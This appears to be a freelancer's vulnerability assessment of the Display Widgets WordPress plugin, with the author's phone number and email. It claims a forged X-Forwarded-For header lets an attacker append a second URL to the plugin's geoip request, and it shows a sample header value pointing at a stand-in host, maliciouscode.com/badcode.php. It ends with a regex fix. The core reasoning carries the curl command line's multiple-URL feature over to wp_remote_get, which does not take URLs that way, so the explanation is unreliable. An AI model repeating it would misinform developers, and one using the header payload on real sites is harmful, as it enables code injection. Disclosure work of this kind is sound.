Kevin Hemminger, PHP and Wordpress Plugin Developer

PHP

- Custom Application Development
- Database Performance Consultant
- Web Scraping and Data Mining
- Zend PHP Certification

Wordpress

- Custom Plugin Development
- Security Vulnerability Testing
- Wordpress Theme Developer
- Zend Framework Certification

phpbuilt.com | ad.hemminger@gmail.com | +63-956-713-5874

Vulnerability Assessment for Display Widgets Plugin

Summary: A simple description of the vulnerability of the Display Widgets wordpress plugin is below, followed by a more thorough explanation.

1. A remote file is included via wp_remote_get in geolocation.php (http://geoip2.io/api/update/?url=) inside geolocation.php
2. Part of the URL includes a variable containing the user's IP address (&ip=)
3. The IP utilizes a header (X-Forwarded-For) which can be spoofed, and is not filtered in the code.
4. Wordpress's method of page retrieval (wp_remote_get) is a CURL wrapper.
5. Curl accepts multiple addresses in one request separated by space (https://curl.haxx.se/docs/httpscripting.html section 3.3)

TLDR; problem: It is possible to forge an *X-Forwarded-For* header, injecting a second URL to be requested by the client, turning it into a remote file inclusion vulnerability.

TLDR; remedy: filter the *X-Forwarded-For* header so it cannot contain a URL.

Detailed Explanation

This plugin provides geo ip capabilities for users by including a remote file (http://geoip2.io/api/update/?url=...). While that included file doesn't contain vulnerabilities, the plugin uses an "X-Forwarded-For" header for getting an IP address of the user, which can be forged and presents a **remote file inclusion** problem.

Scope of Exploit

The geo ip capability of the plugin is opt-in only, which is not enabled by default. Only if someone has opted in to receive the geo-IP of visitors would the remote file inclusion be possible. I'm not certain how many people have opted into geo-location but it likely isn't everyone who installed the plugin.

Under normal circumstances a user would visit a wordpress the site which has the Display Widgets plugin enabled and show a *X-Forwarded-For header* that looks like this:

> **X-Forwarded-For: 192.168.0.5**

However, a user with malicious intent could forge the X-Forwarded-For header to look like this:

> **X-Forwarded-For: 192.168.0.5 http://maliciouscode.com/badcode.php**

The plugin utilizes wp_remote_get to retrieve the page. wp_remote_get's functionality comes from WP_Http which is a wrapper for CURL. CURL allows multiple URLs to be included in one request. (See here: https://curl.haxx.se/docs/httpscripting.html)

> ***3.3 Multiple URLs in a single command line***
>
> *A single curl command line may involve one or many URLs. The most common case is probably to just use one, but you can specify any amount of URLs. Yes any. No limits. You'll then get requests repeated over and over for all the given URLs.*
>
> *Example, send two GETs:*
>
> *curl http://url1.example.com http://url2.example.com*

When the plugin requests the remote file, it is being processed as http://geoip2.io/api/update/?ip=192.168.0.5 http://maliciouscode.com/badcode.php. There are two URLs being sent to wp_remote_get, and CURL includes them both.

I don't know exactly what type of malicious code is being run by the exploiters as I don't have access to what was being run. I can, however, state that remote file inclusion is a serious vulnerability and after going over every line of code, I'm convinced this is the vulnerability being experienced.

Some examples of how remote file inclusion can hack a wordpress installation:

- http://www.hackeroyale.com/hacking-websites-using-rfi-remote-file-inclusion-attack/
- https://hack2rule.wordpress.com/category/remote-file-inclusion/
- http://hackaday.com/2017/07/31/the-dark-arts-remote-file-inclusion/

How to Fix the Vulnerability

A regex designed to extract an IP address from a string of text (the X-Forwarded-For header) will correct the issue and prevent a website URL from being appended to the variable.

My suggested solution:

```
$ipreg = "/\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/";
$filterip = preg_match($ipreg,$remote_ip,$ipmatch);
$remote_ip = $ipmatch[0];
```

This code should be inserted at line #35 (immediately under the line: $remote_ip = $a_ip;) in the file geolocation.php

The above regex would change a $remote_ip value of "128.34.23.55 http://maliciouscode.com/badcode.php" into "128.34.23.55", preventing CURL from loading multiple URLs. If there are any questions about this vulnerability assessment, please contact me by phone at +63-956-713-5874.